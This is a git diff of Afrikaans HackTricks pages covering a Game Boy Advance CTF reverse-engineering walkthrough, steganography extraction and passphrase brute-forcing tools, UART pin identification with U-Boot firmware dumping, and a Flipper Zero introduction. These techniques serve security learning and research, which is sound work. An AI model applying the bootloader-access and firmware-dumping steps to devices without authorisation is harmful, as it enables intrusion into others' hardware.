* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra inprop
* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra-inprop
* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra-inprop
In [**no$gba**](https://problemkaputt.de/gba.htm), in _**Opsies --> Emulasie Instelling --> Beheer**_\*\* \*\* kan jy sien hoe om die Game Boy Advance **knoppies** te druk.
In [**no$gba**](https://problemkaputt.de/gba.htm), in _**Opsies --> Emulering Instelling --> Beheer**_\*\* \*\* kan jy sien hoe om die Game Boy Advance **knoppies** te druk.
![](<../../.gitbook/assets/image (581).png>)
@ -320,13 +312,13 @@ DOWN = 128
R = 256
L = 256
```
So, in this kind of program, the interesting part will be **hoe die program die gebruiker invoer hanteer**. In die adres **0x4000130** sal jy die algemeen aangetref funksie vind: **KEYINPUT**.
So, in this kind of program, the interesting part will be **hoe die program die gebruiker se insette hanteer**. In die adres **0x4000130** sal jy die algemeen aangetrefde funksie vind: **KEYINPUT**.
![](<../../.gitbook/assets/image (447).png>)
In die vorige beeld kan jy sien dat die funksie aangeroep word vanaf **FUN\_080015a8** (adresse: _0x080015fa_ en _0x080017ac_).
In daardie funksie, na 'n paar inisiasie operasies (sonder enige belangrikheid):
In daardie funksie, na 'n paar inisiëringsoperasies (sonder enige belangrikheid):
```c
void FUN_080015a8(void)
@ -392,10 +384,10 @@ In die vorige kode kan jy sien dat ons **uVar1** (die plek waar die **waarde van
* Eerstens, dit word vergelyk met die **waarde 4** (**SELECT** knoppie): In die uitdaging maak hierdie knoppie die skerm skoon.
* Dan, dit word vergelyk met die **waarde 8** (**START** knoppie): In die uitdaging kontroleer dit of die kode geldig is om die vlag te kry.
* In hierdie geval word die var **`DAT_030000d8`** met 0xf3 vergelyk en as die waarde dieselfde is, word 'n paar kode uitgevoer.
* In enige ander gevalle word 'n kont (`DAT_030000d4`) nagegaan. Dit is 'n kont omdat dit 1 byvoeg net nadat dit in die kode ingaan.\
* In enige ander gevalle word 'n kont (`DAT_030000d4`) nagegaan. Dit is 'n kont omdat dit 1 byvoeg onmiddellik nadat dit in die kode ingaan.\
**As** dit minder as 8 is, word iets wat **byvoeg** waardes aan \*\*`DAT_030000d8` \*\* doen (basies voeg dit die waardes van die knoppies wat in hierdie veranderlike gedruk is by solank die kont minder as 8 is).
So, in hierdie uitdaging, om die waardes van die knoppies te ken, moes jy **'n kombinasie druk met 'n lengte kleiner as 8 wat die resultaat toevoeging 0xf3 is.**
So, in hierdie uitdaging, om die waardes van die knoppies te ken, moes jy **'n kombinasie met 'n lengte kleiner as 8 druk sodat die resultaat van die byvoeging 0xf3 is.**
**Verwysing vir hierdie tutoriaal:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
@ -403,16 +395,10 @@ So, in hierdie uitdaging, om die waardes van die knoppies te ken, moes jy **'n k
{% embed url="https://www.youtube.com/watch?v=VVbRe7wr3G4" %}
## Cursusse
## Courses
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Binêre deobfuscation)
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Binaire deobfuscation)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -420,7 +406,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -15,15 +15,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## **Data uit Lêers Uittrek**
## **Data uit Lêers Onthul**
### **Binwalk**
@ -57,7 +49,7 @@ Identifiseer die tipe lêer waarmee jy te doen het.
### **Strings**
Onthaal leesbare strings uit lêers, met verskillende koderinginstellings om die uitvoer te filter.
Onthaal leesbare strings uit lêers, met verskeie koderinginstellings om die uitvoer te filter.
```bash
strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings
@ -71,17 +63,17 @@ strings -e B -n 6 file # 32bit strings (big-endian)
```
### **Vergelyking (cmp)**
Nuttig om 'n gewysigde lêer te vergelyk met sy oorspronklike weergawe wat aanlyn gevind word.
Nuttig om 'n gewysigde lêer met sy oorspronklike weergawe wat aanlyn gevind is, te vergelyk.
```bash
cmp original.jpg stego.jpg -b -l
```
## **Onttrek van Verborgen Data in Tekst**
## **Onttrek van Verborgen Gegewens in Tekst**
### **Verborgen Data in Spasies**
### **Verborgen Gegewens in Spasies**
Onsigbare karakters in skynbaar leë spasies mag inligting verberg. Om hierdie data te onttrek, besoek [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
Onsigbare karakters in blykbaar leë spasies mag inligting verberg. Om hierdie data te onttrek, besoek [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
## **Onttrek van Data uit Beelde**
## **Onttrek van Gegewens uit Beelde**
### **Identifisering van Beeldbesonderhede met GraphicMagick**
@ -95,14 +87,14 @@ Om herstel op 'n beskadigde beeld te probeer, kan dit help om 'n metadata-kommen
```
### **Steghide vir Data Versteeking**
Steghide fasiliteer die verborge van data binne `JPEG, BMP, WAV, en AU` lêers, en is in staat om versleutelde data in te sluit en uit te trek. Installasie is eenvoudig met `apt`, en sy [bronskode is beskikbaar op GitHub](https://github.com/StefanoDeVuono/steghide).
Steghide fasiliteer die verborge van data binne `JPEG, BMP, WAV, en AU` lêers, en is in staat om versleutelde data in te sluit en uit te trek. Installasie is eenvoudig met `apt`, en sy [bronkode is beskikbaar op GitHub](https://github.com/StefanoDeVuono/steghide).
**Opdragte:**
* `steghide info file` onthul of 'n lêer verborge data bevat.
* `steghide extract -sf file [--passphrase password]` trek die verborge data uit, wagwoord is opsioneel.
Vir web-gebaseerde ekstraksie, besoek [hierdie webwerf](https://futureboy.us/stegano/decinput.html).
Vir web-gebaseerde uittrekking, besoek [hierdie webwerf](https://futureboy.us/stegano/decinput.html).
**Bruteforce Aanval met Stegcracker:**
@ -133,7 +125,7 @@ Fast Fourier Transform (FFT) tegnieke kan verborge inhoud in beelde onthul. Nutt
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
* [FFTStegPic op GitHub](https://github.com/0xcomposure/FFTStegPic)
### **Stegpy vir Klank en Beeld Lêers**
### **Stegpy vir Klank- en Beeldlêers**
Stegpy laat die insluiting van inligting in beeld- en klanklêers toe, wat formate soos PNG, BMP, GIF, WebP, en WAV ondersteun. Dit is beskikbaar op [GitHub](https://github.com/dhsdshdhk/stegpy).
@ -149,7 +141,7 @@ pngcheck stego.png
Vir verdere verkenning, oorweeg om te besoek:
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
* [Beeld Foutvlak Analise](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
* [OpenStego](https://www.openstego.com/)
* [DIIT](https://diit.sourceforge.net/)
@ -160,11 +152,11 @@ Vir verdere verkenning, oorweeg om te besoek:
### **Steghide (JPEG, BMP, WAV, AU)**
Steghide is 'n veelsydige gereedskap ontwerp om data in JPEG, BMP, WAV, en AU lêers te verberg. Gedetailleerde instruksies word verskaf in die [stego tricks dokumentasie](stego-tricks.md#steghide).
Steghide is 'n veelsydige gereedskap wat ontwerp is om data in JPEG, BMP, WAV, en AU-lêers te verberg. Gedetailleerde instruksies word verskaf in die [stego tricks dokumentasie](stego-tricks.md#steghide).
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
Hierdie gereedskap is versoenbaar met 'n verskeidenheid formate insluitend PNG, BMP, GIF, WebP, en WAV. Vir meer inligting, verwys na [Stegpy se afdeling](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
Hierdie gereedskap is versoenbaar met 'n verskeidenheid formate, insluitend PNG, BMP, GIF, WebP, en WAV. Vir meer inligting, verwys na [Stegpy se afdeling](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
### **ffmpeg**
@ -174,7 +166,7 @@ ffmpeg -v info -i stego.mp3 -f null -
```
### **WavSteg (WAV)**
WavSteg presteer in die verborge en onttrekking van data binne WAV-lêers deur die minste betekenisvolle bit-strategie te gebruik. Dit is beskikbaar op [GitHub](https://github.com/ragibson/Steganography#WavSteg). Opdragte sluit in:
WavSteg presteer in die verborge en onttrekking van data binne WAV-lêers deur die minste betekenisvolle bit strategie te gebruik. Dit is beskikbaar op [GitHub](https://github.com/ragibson/Steganography#WavSteg). Opdragte sluit in:
```bash
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
@ -196,39 +188,33 @@ Die opsporing van DTMF-tones in klanklêers kan bereik word deur middel van aanl
### **Binary Length SQRT - QR Code**
Binaire data wat tot 'n heelgetal kwadrate, mag 'n QR-kode voorstel. Gebruik hierdie snit om te kontroleer:
Binaire data wat tot 'n hele getal kwadrate, mag 'n QR-kode verteenwoordig. Gebruik hierdie snit om te kontroleer:
```python
import math
math.sqrt(2500) #50
```
For binêre na beeld konversie, kyk na [dcode](https://www.dcode.fr/binary-image). Om QR-kodes te lees, gebruik [hierdie aanlyn strepieskode leser](https://online-barcode-reader.inliteresearch.com/).
For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/).
### **Braille Vertaling**
Vir die vertaling van Braille, is die [Branah Braille Translator](https://www.branah.com/braille-translator) 'n uitstekende hulpbron.
Vir die vertaling van Braille is die [Branah Braille Translator](https://www.branah.com/braille-translator) 'n uitstekende hulpbron.
## **Verwysings**
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,25 +15,12 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
## Basiese Inligting
UART is 'n seriële protokol, wat beteken dit oordra data tussen komponente een bit op 'n slag. In teenstelling hiermee, stuur parallel kommunikasie protokolle data gelyktydig deur verskeie kanale. Algemene seriële protokolle sluit RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express, en USB in.
UART is 'n seriële protokol, wat beteken dit oordra data tussen komponente een bit op 'n slag. In teenstelling hiermee, parallelle kommunikasieprotokolle oordra data gelyktydig deur verskeie kanale. Algemene seriële protokolle sluit RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express, en USB in.
Oor die algemeen word die lyn hoog gehou (by 'n logiese 1 waarde) terwyl UART in die idle toestand is. Dan, om die begin van 'n data-oordrag aan te dui, stuur die transmitter 'n beginbit na die ontvanger, waartydens die sein laag gehou word (by 'n logiese 0 waarde). Volgende stuur die transmitter vyf tot agt databits wat die werklike boodskap bevat, gevolg deur 'n opsionele pariteitsbit en een of twee stopbits (met 'n logiese 1 waarde), afhangende van die konfigurasie. Die pariteitsbit, wat gebruik word vir foutkontrole, word selde in die praktyk gesien. Die stopbit (of bits) dui die einde van die oordrag aan.
Oor die algemeen word die lyn hoog gehou (by 'n logiese 1 waarde) terwyl UART in die idle toestand is. Dan, om die begin van 'n data-oordrag aan te dui, stuur die transmitter 'n beginbit na die ontvanger, waartydens die sein laag gehou word (by 'n logiese 0 waarde). Volgende, stuur die transmitter vyf tot agt databits wat die werklike boodskap bevat, gevolg deur 'n opsionele pariteitsbit en een of twee stopbits (met 'n logiese 1 waarde), afhangende van die konfigurasie. Die pariteitsbit, wat gebruik word vir foutkontrole, word selde in die praktyk gesien. Die stopbit (of bits) dui die einde van die oordrag aan.
Ons noem die mees algemene konfigurasie 8N1: agt databits, geen pariteit, en een stopbit. Byvoorbeeld, as ons die karakter C, of 0x43 in ASCII, in 'n 8N1 UART konfigurasie wou stuur, sou ons die volgende bits stuur: 0 (die beginbit); 0, 1, 0, 0, 0, 0, 1, 1 (die waarde van 0x43 in binêr), en 0 (die stopbit).
@ -43,7 +30,7 @@ Hardeware gereedskap om met UART te kommunikeer:
* USB-naar-serieel adapter
* Adapters met die CP2102 of PL2303 skyfies
* Veelsydige gereedskap soos: Bus Pirate, die Adafruit FT232H, die Shikra, of die Attify Badge
* Veeldoelige gereedskap soos: Bus Pirate, die Adafruit FT232H, die Shikra, of die Attify Badge
### Identifisering van UART Poorte
@ -52,17 +39,17 @@ UART het 4 poorte: **TX**(Transmit), **RX**(Receive), **Vcc**(Voltage), en **GND
Met 'n **multimeter** en die toestel afgeskakel:
* Om die **GND** pen te identifiseer, gebruik die **Continuity Test** modus, plaas die agterste draad in die grond en toets met die rooi een totdat jy 'n geluid van die multimeter hoor. Verskeie GND penne kan in die PCB gevind word, so jy mag dalk die een wat aan UART behoort gevind het of nie.
* Om die **VCC poort** te identifiseer, stel die **DC voltage mode** in en stel dit op 20 V spanning. Swart sonde op grond en rooi sonde op die pen. Skakel die toestel aan. As die multimeter 'n konstante spanning van 3.3 V of 5 V meet, het jy die Vcc pen gevind. As jy ander spannings kry, probeer weer met ander poorte.
* Om die **TX** **poort** te identifiseer, **DC voltage mode** tot 20 V spanning, swart sonde op grond, en rooi sonde op die pen, en skakel die toestel aan. As jy die spanning vir 'n paar sekondes sien fluktuëer en dan stabiliseer by die Vcc waarde, het jy waarskynlik die TX poort gevind. Dit is omdat dit, wanneer dit aangeskakel word, 'n paar foutopsporing data stuur.
* Om die **VCC poort** te identifiseer, stel die **DC voltage mode** in en stel dit op 20 V spanning. Swart probe op grond en rooi probe op die pen. Skakel die toestel aan. As die multimeter 'n konstante spanning van 3.3 V of 5 V meet, het jy die Vcc pen gevind. As jy ander spannings kry, probeer weer met ander poorte.
* Om die **TX** **poort** te identifiseer, **DC voltage mode** tot 20 V spanning, swart probe op grond, en rooi probe op die pen, en skakel die toestel aan. As jy die spanning vir 'n paar sekondes sien fluktuëer en dan stabiliseer by die Vcc waarde, het jy waarskynlik die TX poort gevind. Dit is omdat dit, wanneer dit aangeskakel word, 'n paar foutopsporing data stuur.
* Die **RX poort** sal die naaste een aan die ander 3 wees, dit het die laagste spanning fluktuasie en die laagste algehele waarde van al die UART penne.
Jy kan die TX en RX poorte verwar en niks sal gebeur nie, maar as jy die GND en die VCC poort verwar, kan jy die kring kortsluit.
In sommige teiken toestelle is die UART poort deur die vervaardiger gedeaktiveer deur RX of TX of selfs albei te deaktiveer. In daardie geval kan dit nuttig wees om die verbindings in die stroombaan te volg en 'n breekpunt te vind. 'n Sterk aanduiding dat daar geen UART-detectie is nie en dat die kring gebroke is, is om die toestel se waarborg te kontroleer. As die toestel met 'n waarborg gestuur is, laat die vervaardiger 'n paar foutopsporing interfaces (in hierdie geval, UART) agter en moet dus die UART ontkoppel het en dit weer aansluit terwyl dit foutopsporing doen. Hierdie breekpunte kan verbind word deur te soldeer of met jumper drade.
In sommige teiken toestelle is die UART poort deur die vervaardiger gedeaktiveer deur RX of TX of selfs albei te deaktiveer. In daardie geval kan dit nuttig wees om die verbindings op die stroombaan na te spoor en 'n breekpunt te vind. 'n Sterk aanduiding dat daar geen UART-detektering is nie en dat die kring gebroke is, is om die toestel se waarborg te kontroleer. As die toestel met 'n waarborg gestuur is, laat die vervaardiger 'n paar foutopsporing interfaces (in hierdie geval, UART) agter, en moet dus die UART ontkoppel het en dit weer aansluit terwyl dit foutopsporing doen. Hierdie breekpunte kan verbind word deur te soldeer of met jumperdrade.
### Identifisering van die UART Baud Rate
Die maklikste manier om die korrekte baud rate te identifiseer, is om na die **TX pen se uitgang te kyk en die data te probeer lees**. As die data wat jy ontvang nie leesbaar is nie, skakel oor na die volgende moontlike baud rate totdat die data leesbaar word. Jy kan 'n USB-naar-serieel adapter of 'n veelsydige toestel soos Bus Pirate gebruik om dit te doen, saam met 'n helper skrip, soos [baudrate.py](https://github.com/devttys0/baudrate/). Die mees algemene baud rates is 9600, 38400, 19200, 57600, en 115200.
Die maklikste manier om die korrekte baud rate te identifiseer, is om na die **TX pen se uitgang te kyk en die data te probeer lees**. As die data wat jy ontvang nie leesbaar is nie, skakel oor na die volgende moontlike baud rate totdat die data leesbaar word. Jy kan 'n USB-naar-serieel adapter of 'n veeldoelige toestel soos Bus Pirate gebruik om dit te doen, saam met 'n helper skrip, soos [baudrate.py](https://github.com/devttys0/baudrate/). Die mees algemene baud rates is 9600, 38400, 19200, 57600, en 115200.
{% hint style="danger" %}
Dit is belangrik om te noem dat jy in hierdie protokol die TX van een toestel aan die RX van die ander moet koppel!
@ -70,9 +57,9 @@ Dit is belangrik om te noem dat jy in hierdie protokol die TX van een toestel aa
## CP210X UART na TTY Adapter
Die CP210X Chip word in baie prototipering borde soos NodeMCU (met esp8266) vir Seriële Kommunikasie gebruik. Hierdie adapters is relatief goedkoop en kan gebruik word om aan die UART interface van die teiken te koppel. Die toestel het 5 penne: 5V, GND, RXD, TXD, 3.3V. Maak seker om die spanning te koppel soos deur die teiken ondersteun om enige skade te voorkom. Laastens koppel die RXD pen van die Adapter aan TXD van die teiken en TXD pen van die Adapter aan RXD van die teiken.
Die CP210X Chip word in baie prototipering borde soos NodeMCU (met esp8266) vir Seriële Kommunikasie gebruik. Hierdie adapters is relatief goedkoop en kan gebruik word om aan die UART interface van die teiken te koppel. Die toestel het 5 penne: 5V, GND, RXD, TXD, 3.3V. Maak seker om die spanning te koppel soos deur die teiken ondersteun om enige skade te vermy. Laastens koppel die RXD pen van die Adapter aan TXD van die teiken en TXD pen van die Adapter aan RXD van die teiken.
As die adapter nie gedetecteer word nie, maak seker dat die CP210X drywers in die gasheer stelsel geïnstalleer is. Sodra die adapter gedetecteer en gekoppel is, kan gereedskap soos picocom, minicom of screen gebruik word.
As die adapter nie gedetecteer word nie, maak seker dat die CP210X bestuurders in die gasheerstelsel geïnstalleer is. Sodra die adapter gedetecteer en gekoppel is, kan gereedskap soos picocom, minicom of screen gebruik word.
Om die toestelle wat aan Linux/MacOS stelsels gekoppel is, te lys:
```
@ -92,9 +79,9 @@ Na konfigurasie, gebruik die opdrag `minicom` om die UART Console te begin.
## UART Via Arduino UNO R3 (Verwyderbare Atmel 328p Chip Borde)
As UART Serial na USB-adapters nie beskikbaar is nie, kan Arduino UNO R3 gebruik word met 'n vinnige hack. Aangesien Arduino UNO R3 gewoonlik enige plek beskikbaar is, kan dit baie tyd bespaar.
As UART Serial na USB-adapters nie beskikbaar is nie, kan Arduino UNO R3 gebruik word met 'n vinnige hack. Aangesien Arduino UNO R3 gewoonlik oral beskikbaar is, kan dit baie tyd bespaar.
Arduino UNO R3 het 'n USB na Serial-adapter ingebou op die bord self. Om UART-verbinding te kry, plug eenvoudig die Atmel 328p mikrocontroller-chip uit die bord. Hierdie hack werk op Arduino UNO R3 variasies wat die Atmel 328p nie op die bord gesoldeer is nie (SMD weergawe word daarin gebruik). Verbind die RX-pin van Arduino (Digitale Pin 0) aan die TX-pin van die UART-interface en die TX-pin van die Arduino (Digitale Pin 1) aan die RX-pin van die UART-interface.
Arduino UNO R3 het 'n USB na Serial-adapter wat op die bord self ingebou is. Om UART-verbinding te kry, trek eenvoudig die Atmel 328p mikrocontroller-skyf uit die bord. Hierdie hack werk op Arduino UNO R3 variasies wat die Atmel 328p nie op die bord gesoldeer het nie (SMD weergawe word daarin gebruik). Koppel die RX-pin van Arduino (Digitale Pin 0) aan die TX-pin van die UART-interface en die TX-pin van die Arduino (Digitale Pin 1) aan die RX-pin van die UART-interface.
Laastens, dit word aanbeveel om Arduino IDE te gebruik om die Serial Console te kry. In die `tools` afdeling in die spyskaart, kies die `Serial Console` opsie en stel die baud rate in volgens die UART-interface.
@ -174,21 +161,21 @@ waiting a few secs to repeat....
```
## Dumping Firmware with UART Console
UART Console bied 'n uitstekende manier om met die onderliggende firmware in 'n runtime-omgewing te werk. Maar wanneer die UART Console-toegang slegs lees is, kan dit baie beperkings inbring. In baie ingebedde toestelle word die firmware in EEPROMs gestoor en in verwerkers met vlugtige geheue uitgevoer. Daarom word die firmware as lees-slegs gehou aangesien die oorspronklike firmware tydens vervaardiging binne die EEPROM self is en enige nuwe lêers sou verlore gaan weens vlugtige geheue. Daarom is dit 'n waardevolle poging om firmware te dump terwyl jy met ingebedde firmwares werk.
UART Console bied 'n uitstekende manier om met die onderliggende firmware in 'n runtime-omgewing te werk. Maar wanneer die UART Console-toegang slegs lees is, kan dit baie beperkings inhou. In baie ingebedde toestelle word die firmware in EEPROMs gestoor en in verwerkers met vlugtige geheue uitgevoer. Daarom word die firmware as lees-slegs gehou aangesien die oorspronklike firmware tydens vervaardiging binne die EEPROM self is en enige nuwe lêers sou verlore gaan weens vlugtige geheue. Daarom is dit 'n waardevolle poging om firmware te dump terwyl jy met ingebedde firmwares werk.
Daar is baie maniere om dit te doen en die SPI-afdeling dek metodes om firmware direk uit die EEPROM met verskeie toestelle te onttrek. Alhoewel, dit word aanbeveel om eers te probeer om firmware met UART te dump, aangesien dit om firmware met fisiese toestelle en eksterne interaksies te dump riskant kan wees.
Daar is baie maniere om dit te doen en die SPI-afdeling dek metodes om firmware direk uit die EEPROM met verskeie toestelle te onttrek. Alhoewel, dit word aanbeveel om eers te probeer om firmware met UART te dump, aangesien dit riskant kan wees om firmware met fisiese toestelle en eksterne interaksies te dump.
Om firmware vanaf die UART Console te dump, vereis dit eers om toegang tot bootloaders te verkry. Baie gewilde verskaffers gebruik uboot (Universal Bootloader) as hul bootloader om Linux te laai. Daarom is dit nodig om toegang tot uboot te verkry.
Om toegang tot die boot bootloader te verkry, koppel die UART-poort aan die rekenaar en gebruik enige van die Serial Console-gereedskap en hou die kragtoevoer na die toestel ontkoppel. Sodra die opstelling gereed is, druk die Enter-sleutel en hou dit in. Laastens, koppel die kragtoevoer aan die toestel en laat dit opstart.
Deur dit te doen, sal uboot se laai onderbreek word en 'n menu verskaf. Dit word aanbeveel om uboot-opdragte te verstaan en die helpmenu te gebruik om hulle te lys. Dit mag die `help`-opdrag wees. Aangesien verskillende verskaffers verskillende konfigurasies gebruik, is dit nodig om elkeen van hulle apart te verstaan.
Deur dit te doen, sal uboot onderbreek word van laai en 'n menu bied. Dit word aanbeveel om uboot-opdragte te verstaan en die helpmenu te gebruik om hulle te lys. Dit mag die `help`-opdrag wees. Aangesien verskillende verskaffers verskillende konfigurasies gebruik, is dit nodig om elkeen van hulle apart te verstaan.
Gewoonlik is die opdrag om die firmware te dump:
```
md
```
wat staan vir "geheue-aflaai". Dit sal die geheue (EEPROM Inhoud) op die skerm aflaai. Dit word aanbeveel om die Serial Console-uitvoer te log voordat jy die prosedure begin om die geheue-aflaai te vang.
wat staan vir "geheue dump". Dit sal die geheue (EEPROM Inhoud) op die skerm dump. Dit word aanbeveel om die Serial Console-uitset te log voordat jy die prosedure begin om die geheue dump te vang.
Laastens, verwyder net al die onnodige data uit die loglêer en stoor die lêer as `filename.rom` en gebruik binwalk om die inhoud te onttrek:
```
@ -197,30 +184,3 @@ binwalk -e <filename.rom>
Dit sal die moontlike inhoud van die EEPROM lys volgens die handtekeninge wat in die hex-lêer gevind is.
Alhoewel, dit is nodig om op te let dat dit nie altyd die geval is dat die uboot ontgrendel is nie, selfs al word dit gebruik. As die Enter-sleutel niks doen nie, kyk vir ander sleutels soos die Spasie-sleutel, ens. As die bootloader vergrendel is en nie onderbreek word nie, sal hierdie metode nie werk nie. Om te kontroleer of uboot die bootloader vir die toestel is, kyk na die uitvoer op die UART-konsol terwyl die toestel opstart. Dit mag uboot noem terwyl dit opstart.
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekeningoorname en ransomware-aanvalle wat voortspruit uit inligting-diefstal malware te bekamp.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Kontroleer die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,14 +15,6 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
Met [**Flipper Zero**](https://flipperzero.one/) kan jy:
* **Luister/Vang/Herhaal radiofrekwensies:** [**Sub-GHz**](fz-sub-ghz.md)
@ -36,12 +28,6 @@ Met [**Flipper Zero**](https://flipperzero.one/) kan jy:
